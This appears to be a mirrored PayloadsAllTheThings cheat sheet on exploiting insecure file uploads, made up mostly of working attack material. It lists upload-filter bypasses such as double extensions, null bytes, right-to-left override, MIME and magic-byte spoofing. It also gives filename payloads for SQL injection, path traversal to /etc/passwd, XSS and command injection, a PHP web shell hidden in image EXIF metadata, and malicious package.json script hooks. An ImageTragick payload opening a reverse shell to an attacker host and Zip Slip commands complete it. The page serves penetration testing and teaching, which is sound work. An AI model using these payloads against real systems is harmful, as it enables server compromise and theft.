mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-13 14:52:53 +00:00

2022-11-07 10:10:21 +01:00

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Upload Insecure Files

Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.

Tools

Exploits

Defaults extensions

PHP Server

.php
.php3
.php4
.php5
.php7

# Less known PHP extensions
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.inc

ASP Server

.asp
.aspx
.config
.cer and .asa # (IIS <= 7.5)
shell.aspx;1.jpg # (IIS < 7.0)
shell.soap

JSP : .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .actions
Perl: .pl, .pm, .cgi, .lib
Coldfusion: .cfm, .cfml, .cfc, .dbm

Upload tricks

Use double extensions : .jpg.php, .png.php5
Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): .php.jpg
Random uppercase and lowercase : .pHp, .pHP5, .PhAr
Null byte (works well against pathinfo())
- .php%00.gif
- .php\x00.gif
- .php%00.png
- .php\x00.png
- .php%00.jpg
- .php\x00.jpg
Special characters
- Multiple dots : file.php...... , in Windows when a file is created with dots at the end those will be removed.
- Whitespace and new line characters
  - file.php%20
  - file.php%0d%0a.jpg
  - file.php%0a
- Right to Left Override (RTLO): name.%E2%80%AEphp.jpg will became name.gpj.php.
- Slash: file.php/, file.php.\, file.j\sp, file.j/sp
- Multiple special characters: file.jsp/././././.
Mime type, change Content-Type : application/x-php or Content-Type : application/octet-stream to Content-Type : image/gif
- Content-Type : image/gif
- Content-Type : image/png
- Content-Type : image/jpeg
- Content-Type wordlist: SecLists/content-type.txt
- Set the Content-Type twice: once for unallowed type and once for allowed.
Magic Bytes
- Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
  - PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
  - JPG: \xff\xd8\xff
  - GIF: GIF87a OR GIF8;
- Shell can also be added in the metadata
Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.")

Filename vulnerabilities

Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename.

Time-Based SQLi Payloads: e.g. poc.js'(select*from(select(sleep(20)))a)+'.extension
LFI/Path Traversal Payloads: e.g. image.png../../../../../../../etc/passwd
XSS Payloads e.g. '"><img src=x onerror=alert(document.domain)>.extension
File Traversal e.g. ../../../tmp/lol.png
Command Injection e.g. ; sleep 10;

Also you upload:

HTML/SVG files to trigger an XSS
EICAR file to check the presence of an antivirus

Picture Compression

Create valid pictures hosting PHP code. Upload the picture and use a Local File Inclusion to execute the code. The shell can be called with the following command : curl 'http://localhost/test.php?0=system' --data "1='ls'".

Picture Metadata, hide the payload inside a comment tag in the metadata.
Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating getimagesize() and imagecreatefromgif().
- JPG: use createBulletproofJPG.py
- PNG: use createPNGwithPLTE.php
- GIF: use createGIFwithGlobalColorTable.php

Picture with custom metadata

Create a custom picture and insert exif tag with exiftool. A list of multiple exif tags can be found at exiv2.org

convert -size 110x110 xc:white payload.jpg
exiftool -Copyright="PayloadsAllTheThings" -Artist="Pentest" -ImageUniqueID="Example" payload.jpg
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg

Configuration Files

If you are trying to upload files to a :

PHP server, take a look at the .htaccess trick to execute code.
ASP server, take a look at the web.config trick to execute code.

Configuration files examples

Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.

package.json

"scripts": {
    "prepare" : "/bin/touch /tmp/pwned.txt"
}

composer.json

"scripts": {
    "pre-command-run" : [
    "/bin/touch /tmp/pwned.txt"
    ]
}

CVE - Image Tragik

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

More payload in the folder Picture Image Magik

CVE - FFMpeg

FFmpeg HLS vulnerability

ZIP archive

When a ZIP/archive file is automatically decompressed after the upload

Zip Slip: directory traversal to write a file somewhere else

python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt

Jetty RCE

Upload the XML file to $JETTY_BASE/webapps/

JettyShell.xml - From Mikhail Klyuchnikov

Labs

Portswigger Labs on File Uploads

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